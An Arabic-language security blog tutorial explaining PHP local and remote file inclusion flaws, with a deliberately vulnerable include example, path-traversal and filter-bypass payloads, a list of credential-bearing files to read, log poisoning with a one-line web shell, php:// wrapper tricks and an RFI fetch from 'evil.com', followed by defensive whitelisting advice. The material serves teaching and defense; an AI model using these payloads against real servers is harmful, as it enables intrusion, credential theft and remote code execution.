خنقتونا خنقتونا
random

آخر الأخبار

random
random
جاري التحميل ...

شرح ثغرات File Inclusion (LFI/RFI): كيف يقرأ الهاكر ملفات السيرفر؟

شرح ثغرات File Inclusion


شرح ثغرات File Inclusion: دليلك الكامل لاختراق السيرفر

 

في المقالات اللي فاتت، اتكلمنا عن إزاي الهاكر ممكن يسرق بيانات اليوزر

 بـ [XSS](رابط مقال XSS)، 

أو يتحكم في حسابه بـ [IDOR](رابط مقال IDOR

 أو حتى يجبره ينفذ أوامر من غير ما يعرف بـ [CSRF](رابط مقال CSRF).

 كل ده عظيم، لكنه في الأغلب بيستهدف الـ User نفسه.

النهاردة، إحنا هنعلي الليفل خالص. هنتكلم عن ثغرة بتدي للمهاجم مفتاح "الأوضة الضلمة" في السيرفر. تخيل إنك لقيت طريقة تخلي

 موقع فيسبوك يعرضلك ملف config.php بتاعه اللي فيه باسووردات قواعد البيانات! دي القوة المدمرة لثغرة File

 Inclusion
.


الجزء الأول: يعني إيه File Inclusion أصلاً؟ 

ببساطة، المطورين الكبار بيحبوا ينظموا الكود بتاعهم. بدل ما يكتب كود الموقع كله في ملف واحد 10 آلاف سطر، بيقسموه لملفات

 صغيرة. ملف للـ header، وملف للـ footer، وملف للاتصال بقاعدة البيانات، وهكذا.

وبعدين، في الصفحة الرئيسية، بيستخدموا أوامر زي include أو require في لغة PHP عشان يجمعوا الأجزاء دي زي البازل.

الكود الآمن (اللي المطور عايزه):

PHP
<?php
  include 'header.php';
  include 'main_content.php';
  include 'footer.php';
?>

المشكلة بتبدأ لما المطور بيقرر يخلي اسم الملف ده ييجي من الـ User عشان يخلي الموقع Dynamic.

الكود المصاب (الكارثة):

PHP
<?php
  $file = $_GET['page']; // بياخد اسم الملف من اليوزر
  include $file; // بيستدعي الملف ده
?>


هنا المطور فتح باب جهنم على نفسه. هو كان فاكر إن اليوزر هيدخل page=about.php أو page=contact.php، لكنه معرفش إن المهاجم هيدخل حاجة تانية خالص.


الجزء الثاني: تشبيه "موظف الأرشيف الساذج"

عشان تفهمها، تخيل إن السيرفر ده مبنى أرشيف ضخم، والمطور عين موظف ساذج (هو كود الـ include). الموظف ده مبرمج

 على حاجة واحدة: ياخد اسم الملف منك ويروح يجيبهولك.

  • الـ User العادي: بيقوله "لو سمحت، هات ملف contact.php من (قسم الصفحات)". الموظف بيروح يجيبه.

  • المهاجم (الـ Attacker): بيستغل سذاجة الموظف ويقوله: "لو سمحت، سيبك من (قسم الصفحات) خالص، واطلع 3 أدوار فوق، وادخل مكتب المدير، وافتح الخزنة، وهاتلي ملف (أسرار الشركة) اللي جواها".

بما إن الموظف مبرمج ينفذ الاسم اللي بياخده، هينفذ كلام المهاجم بالظبط. هو ده الـ File Inclusion.


الجزء الثالث: LFI vs RFI (الفرق بين الاختراق المحلي والريموت)

الثغرة دي ليها وشين، واحد خطير، والتاني "أكتر خطورة بكتير":

الميزةLFI (Local File Inclusion)RFI (Remote File Inclusion)
المعنىتضمين ملف محلي (موجود على نفس السيرفر).تضمين ملف عن بعد (موجود على سيرفر تاني).
الهدف الأساسيقراءة ملفات حساسة من السيرفر.تنفيذ كود عن بعد (RCE).

الخطورةعالية جدًا (High).حرجة جدًا (Critical).
مثال الـ

  Payload

page.php?file=../../etc/passwd

page.php?file=http://evil.com/shell.txt
شرط الحدوثالكود بيستدعي ملف من غير فلترة.الكود بيستدعي ملف + خاصية

  allow_url_include

 مفتوحة في PHP.

الجزء الرابع: الصيد - إزاي تكتشف LFI؟

أول حاجة بتدور عليها هي الـ Parameters اللي في الـ URL واللي شكلها بيستدعي ملفات. دور على أي حاجة زي:

  • ?page=

  • ?file=

  • ?include=

  • ?document=

  • ?path=

  • ?view=

لقيت واحد؟ حلو. ابدأ الاختبار. إزاي تخلي الموظف الساذج يطلع بره "قسم الصفحات"؟ باستخدام Directory Traversal أو

  ../ (dot-dot-slash).

في أنظمة الملفات، .. (نقطتين) معناها "ارجع خطوة لورا (للفولدر الأب)".

لو الـ URL كده: 

example.com/page.php?file=news.php


ده معناه إن ملف news.php موجود جوه فولدر معين (مثلاً /var/www/html/pages/).

عشان أرجع لـ "جذر" السيرفر، لازم أرجع لورا كذا مرة.

الـ Payload الكلاسيكي:

?file=../../../../../../../../etc/passwd

  • ليه بنكرر ../ كتير؟ لأني معرفش أنا عميق قد إيه جوه الفولدرات، فبكررها كتير عشان أضمن إني وصلت للـ Root

     (جذر السيرفر).


  • إيه ملف etc/passwd؟ ده ملف مشهور جدًا في أنظمة Linux بيبقى فيه قايمة بكل اليوزرات على السيرفر. لو


     قدرت تقراه، دي أول علامة إنك نجحت.


الجزء الخامس: ملفات لازم تدور عليها (Juicy Files)

لو قريت etc/passwd، مبروك. الخطوة الجاية إنك تدور على حاجات أهم. دي قايمة بملفات "عصارية" (مليانة معلومات

 حساسة) تدور عليها:

لو السيرفر Linux:

  • /etc/passwd: (أسماء اليوزرات).

  • /etc/shadow: (فيه الـ Hashes بتاعة الباسوردات، غالبًا مش هتقدر تقراه بس لازم تجرب).

  • /var/log/apache2/access.log: (ملف اللوجات بتاعة السيرفر، هنرجعله ده).

  • /proc/self/environ: (ملفات البيئة بتاعة السيرفر).

  • /var/www/html/config.php: (أو أي ملف فيه config أو db، ده ممكن تلاقي فيه باسوورد قاعدة البيانات).

لو السيرفر Windows:

  • C:\Windows\System32\drivers\etc\hosts: (ملف الـ hosts).

  • C:\boot.ini: (ملف إقلاع الويندوز)
    .

  • C:\Windows\win.ini: (ملف إعدادات قديم).


الجزء السادس: خداع الفلاتر - إزاي تتجاوز حماية المطور؟ 

ساعات المطور بيكون ذكي شوية وبيحاول يحط فلاتر. بس المهاجم أذكى.

السيناريو الأول: المطور بيحذف ../ 

المطور بيستخدم كود زي: str_replace("../", "", $_GET['file']);

  • الخدعة (Filter Bypass): المطور بينضف الـ Payload مرة واحدة بس. المهاجم بيستغل ده ويبعت Payload

     مزدوج: ....//

  • إزاي بتشتغل؟ الفلتر بيشوف أول ../ ويحذفها، فيتبقاله ../. يا سيدي!

  • الـ Payload النهائي: ?file=....//....//....//etc/passwd

السيناريو التاني: المطور بيضيف .php في الآخر

المطور بيستخدم كود زي:

include $_GET['file'] . ".php";

ده عشان يجبرك تستدعي ملفات PHP بس. لو حاولت تطلب etc/passwd، الكود هيحولها لـ etc/passwd.php والملف ده مش موجود.

  • الخدعة (Null Byte Injection): الـ Null Byte (اللي هو \0 أو %00 في الـ URL) هو كاركتر خاص

     في البرمجة معناه "نهاية السطر".

  • إزاي بتشتغل؟ المهاجم بيبعت Payload كده: ?file=../../etc/passwd%00


  • الـ Payload النهائي: الكود هياخد الـ Payload ويبقى: include "../../etc/passwd\0" . ".php";. لما الـ


      PHP ييجي ينفذ، هيقرأ لحد الـ Null Byte ويقف، وهينفذ include "../../etc/passwd" ويتجاهل .php

     اللي بعدها.

  • ملحوظة: الـ Null Byte Injection مبقتش تشتغل في إصدارات PHP الحديثة (بعد 5.3.4)، لكنها لسه مدمرة في

     التطبيقات القديمة.


الجزء السابع: LFI to RCE - فن (Log Poisoning) 

طيب، أنا بقدر أقرا ملفات بس (LFI)، ومفيش RFI. إزاي أوصل لـ RCE (تنفيذ أوامر)؟

هنا بتيجي تقنية عبقرية اسمها Log Poisoning.

الفكرة: أنا مقدرش أرفع ملفاتي على السيرفر، بس أنا أعرف ملف على السيرفر "أنا أقدر أكتب جواه". إيه هو؟ ملفات اللوج (Logs).

سيرفر الويب بيسجل كل طلب بيجيله في ملف access.log، بما في ذلك الـ User-Agent (نوع متصفحك).

خطوات الهجوم:

  1. حقن الـ Payload: المهاجم بيبعت طلب عادي للسيرفر، بس بيلعب في الـ User-Agent بتاعه ويحط جواه كود

      PHP خبيث.

    • بيستخدم أداة زي Burp Suite ويبعت طلب الـ User-Agent بتاعه كده:

      <?php system($_GET['cmd']); ?>

  2. التسميم: السيرفر، بمنتهى البراءة، هياخد الـ User-Agent ده ويسجله جوه ملف access.log. كده أنا نجحت إني

     "أسمم" ملف اللوج بالكود بتاعي.

  3. التنفيذ: المهاجم بيرجع لثغرة LFI بتاعته، وبدل ما يطلب etc/passwd، بيطلب ملف اللوج:

    ?file=../../../../var/log/apache2/access.log

  4. (RCE) السيرفر هيعمل include لملف اللوج، هيلاقي كود الـ PHP اللي أنا زرعته، وهينفذه. الكود ده

     (system($_GET['cmd'])) هو Web Shell بسيط جدًا بيسمحلي أنفذ أي أمر على السيرفر عن طريق URL.

    ?file=.../access.log&cmd=ls -la (عشان يعرض كل الملفات).


الجزء الثامن: LFI to RCE (جزء 2) - سحر الـ PHP Wrappers 

PHP فيه خواص قوية جدًا اسمها Wrappers، لو المطور نسي يقفلها، بتفتح أبواب خلفية مرعبة.

القنبلة: php://filter 

دي أهم واحدة. ساعات بتحاول تقرا ملف config.php بـ LFI، بس مش بيظهر حاجة. ليه؟ لأن السيرفر بينفذه مش بيعرضه.

  • الحل: استخدم php://filter عشان تقول للسيرفر: "متنفذش الملف ده، اعرضهولي بس بعد ما تحوله لـ Base64".

  • الـ Payload:

    ?file=php://filter/convert.base64-encode/resource=config.php

  • النتيجة: السيرفر هيعرضلك محتويات ملف config.php كلها كـ Base64، تاخدها وتفك تشفيرها وتلاقي باسوورد

     الداتابيز.

php://input 

ده بيسمحلك تقرا الـ Body بتاع طلب POST.

  • إزاي؟ المهاجم بيبعت طلب POST لـ ?file=php://input، وبيحط كود الـ PHP الخبيث بتاعه في الـ Body


     بتاع الطلب. السيرفر هيعمل include للـ Body ده وينفذه.


الجزء التاسع: الوحش الأكبر - Remote File Inclusion (RFI) 

ده النوع اللي اتكلمنا عنه في الأول، وهو نادر لكنه مدمر. بيحصل بس لو خاصية allow_url_include متفعلة في PHP (الوضع الافتراضي بتاعها Off لسوء الحظ😂).

لو الخاصية دي مفتوحة، المهاجم مش محتاج كل اللف والدوران بتاع Log Poisoning.

  • الاستغلال:

    1. المهاجم بيرفع Web Shell بسيط على أي سيرفر هو بيتحكم فيه (مثلاً http://evil.com/shell.txt).

    2. بيروح للثغرة وينادي الـ Shell ده مباشرة:

      ?file=http://evil.com/shell.txt

    3. السيرفر الضحية هيروح يجيب الملف ده وينفذه عنده.

    4. النتيجة: RCE مباشر وسيطرة كاملة على السيرفر في خطوة واحدة.


الجزء العاشر: بناء القلعة (الدفاع والحماية) 

بعد كل الرعب ده، إزاي المطور يحمي نفسه؟

  1. القاعدة الذهبية: Whitelist, Don't Blacklist 

    • غلط (Blacklist): إنك تحاول تمنع ../ و http://. المهاجم دايما هيلاقي طريقة يتجاوزك.

    • صح (Whitelist): إنك تعمل قايمة بالملفات المسموح بيها بس، وترفض أي حاجة غيرها.


الكود الآمن:

PHP
$allowed_pages = [
    'home' => 'pages/home.php',
    'contact' => 'pages/contact.php',
    'about' => 'pages/about.php'
];

$page = $_GET['page'];

if (array_key_exists($page, $allowed_pages)) {
    include $allowed_pages[$page];
} else {
    include 'pages/404.php'; // لو الملف مش في القايمة
}
?>

  1. تعطيل الخواص الخطرة: في ملف php.ini، اتأكد إن الإعدادات دي مقفولة:

    • allow_url_include = Off (لمنع RFI).

    • allow_url_fopen = Off (لمنع الوصول للـ URL كملفات).

  2. صلاحيات السيرفر: متخليش سيرفر الويب شغال بصلاحيات root. شغله بـ User صلاحياته محدودة (زي www-

    data
    ) عشان حتى لو حصل LFI، المهاجم ميقدرش يقرا ملفات حساسة زي etc/shadow.



ثغرات File Inclusion هي بوابة خلفية بتدي للمهاجم وصول مباشر لقلب السيرفر. هي بتوضح إن الثقة العمياء في أي حاجة

 جاية من اليوزر هي بداية الكارثة.


في دليلنا القادم، هنكمل في نفس سكة اختراق السيرفر وهنتكلم عن ثغرة Command Injection، اللي بتخليك تكتب أوامر Linux مباشرة في الـ URL وتنفذها. استعد


والآن دورك، شاركنا في التعليقات: إيه أكتر تقنية خوفتك في المقال ده، الـ Log Poisoning ولا php://filter؟

عن الكاتب

Mahmoud Salman

التعليقات


اتصل بنا

إذا أعجبك محتوى مدونتنا نتمنى البقاء على تواصل دائم ، فقط قم بإدخال بريدك الإلكتروني للإشتراك في بريد المدونة السريع ليصلك جديد المدونة أولاً بأول ، كما يمكنك إرسال رساله بالضغط على الزر المجاور ...

تابع المدونة من هنا

مواقيت الصلاة من هنا

مشاركة مميزة

شرح ثغرات File Inclusion (LFI/RFI): كيف يقرأ الهاكر ملفات السيرفر؟

شرح ثغرات File Inclusion شرح ثغرات File Inclusion: دليلك الكامل لاختراق السيرفر   في المقالات اللي فاتت، اتكلمنا عن إزاي الهاكر ممكن يسرق بي...

جميع الحقوق محفوظة

خنقتونا